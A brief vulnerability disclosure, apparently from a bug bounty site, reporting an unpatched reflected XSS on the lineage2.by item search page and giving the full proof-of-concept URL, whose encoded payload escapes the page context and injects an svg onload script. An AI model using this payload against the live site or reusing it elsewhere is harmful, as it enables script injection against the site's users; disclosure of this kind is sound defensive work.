lineage2.by XSS vulnerability

Vulnerable URL: http://www.lineage2.by/it-search.php?itemname=%22%3E%3C/title%3E%27%3E;%3C/script%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3E=guest==3id=0id=0==3=4=5 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...